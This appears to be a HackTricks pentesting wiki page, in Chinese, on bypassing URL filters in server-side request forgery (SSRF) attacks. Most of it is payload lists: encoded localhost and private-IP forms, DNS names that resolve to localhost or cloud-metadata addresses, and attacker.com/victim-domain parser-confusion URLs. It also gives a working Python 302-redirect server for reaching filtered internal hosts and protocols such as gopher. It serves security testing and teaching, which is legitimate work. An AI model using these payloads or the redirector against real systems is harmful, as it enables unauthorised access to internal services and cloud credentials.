# URL格式绕过 {% hint style="success" %} 学习与实践AWS黑客技术：[**HackTricks培训AWS红队专家（ARTE）**](https://training.hacktricks.xyz/courses/arte)\ 学习与实践GCP黑客技术：[**HackTricks培训GCP红队专家（GRTE）**](https://training.hacktricks.xyz/courses/grte)
支持HackTricks * 查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
{% endhint %} ### 本地主机 ```bash # Localhost http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://127.000000000000000.1 http://0 http:@0/ --> http://localhost/ http://0.0.0.0:80 http://localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪ # CDIR bypass http://127.127.127.127 http://127.0.1.3 http://127.0.0.0 # Dot bypass 127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821 # Decimal bypass http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1 # Octal Bypass http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001 # Hexadecimal bypass 127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001 # Add 0s bypass 127.000000000000.1 # You can also mix different encoding formats # https://www.silisoftware.com/tools/ipconverter.php # Malformed and rare localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1 # DNS to localhost localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://bugbounty.dod.network = 127.0.0.2 (localhost) 1ynrnhl.xip.io == 169.254.169.254 spoofed.burpcollaborator.net = 127.0.0.1 ``` ![](<../../.gitbook/assets/image (776).png>) 该**Burp扩展** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) 实现了IP格式绕过。 ### 域解析器 ```bash https:attacker.com https:/attacker.com http:/\/\attacker.com https:/\attacker.com //attacker.com \/\/attacker.com/ /\/attacker.com/ /attacker.com %0D%0A/attacker.com #attacker.com #%20@attacker.com @attacker.com http://169.254.1698.254\@attacker.com attacker%00.com attacker%E3%80%82com attacker。com ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ ``` ``` ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ``` ### 域名混淆 ```bash # Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try replacing https by http # Try URL-encoded characters https://{domain}@attacker.com https://{domain}.attacker.com https://{domain}%6D@attacker.com https://attacker.com/{domain} https://attacker.com/?d={domain} https://attacker.com#{domain} https://attacker.com@{domain} https://attacker.com#@{domain} https://attacker.com%23@{domain} https://attacker.com%00{domain} https://attacker.com%0A{domain} https://attacker.com?{domain} https://attacker.com///{domain} https://attacker.com\{domain}/ https://attacker.com;https://{domain} https://attacker.com\{domain}/ https://attacker.com\.{domain} https://attacker.com/.{domain} https://attacker.com\@@{domain} https://attacker.com:\@@{domain} https://attacker.com#\@{domain} https://attacker.com\anything@{domain}/ https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com # On each IP position try to put 1 attackers domain and the others the victim domain http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ #Parameter pollution next={domain}&next=attacker.com ``` ### 路径和扩展绕过 如果要求URL必须以路径或扩展名结尾，或者必须包含路径，您可以尝试以下绕过方法： ``` https://metadata/vulerable/path#/expected/path https://metadata/vulerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path ``` ### Fuzzing 工具 [**recollapse**](https://github.com/0xacb/recollapse) 可以从给定输入生成变体，以尝试绕过使用的正则表达式。有关更多信息，请查看 [**这篇文章**](https://0xacb.com/2022/11/21/recollapse/)。 ### Automatic Custom Wordlists 查看 portswigger 的 [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)，您可以在其中输入允许的主机和攻击者的主机，它将为您生成要尝试的 URL 列表。它还考虑您是否可以在参数、Host 头或 CORS 头中使用 URL。 ### Bypass via redirect 服务器可能在 **过滤 SSRF 的原始请求**，**但不**过滤对该请求的可能 **重定向** 响应。\ 例如，易受 SSRF 攻击的服务器通过：`url=https://www.google.com/` 可能在 **过滤 url 参数**。但是，如果您使用 [python 服务器以 302 响应](https://pastebin.com/raw/ywAUhFrv) 到您想要重定向的地方，您可能能够 **访问被过滤的 IP 地址**，如 127.0.0.1，甚至被过滤的 **协议**，如 gopher。\ [查看此报告。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) ```python #!/usr/bin/env python3 #python3 ./redirector.py 8000 http://127.0.0.1/ import sys from http.server import HTTPServer, BaseHTTPRequestHandler if len(sys.argv)-1 != 2: print("Usage: {} ".format(sys.argv[0])) sys.exit() class Redirect(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', sys.argv[2]) self.end_headers() HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ``` ## 解释的技巧 ### 反斜杠技巧 _反斜杠技巧_ 利用 [WHATWG URL 标准](https://url.spec.whatwg.org/#url-parsing) 和 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 之间的差异。虽然 RFC3986 是 URI 的一般框架，但 WHATWG 特定于网络 URL，并被现代浏览器采用。关键区别在于 WHATWG 标准将反斜杠 (`\`) 视为与正斜杠 (`/`) 等价，这影响了 URL 的解析，特别是标记了 URL 中主机名到路径的过渡。 ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg) ### 其他混淆 ![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (600).png>) 图片来自 [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/) ## 参考文献 * [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md) {% hint style="success" %} 学习与实践 AWS 黑客技术：[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ 学习与实践 GCP 黑客技术： [**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
支持 HackTricks * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。** * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
{% endhint %}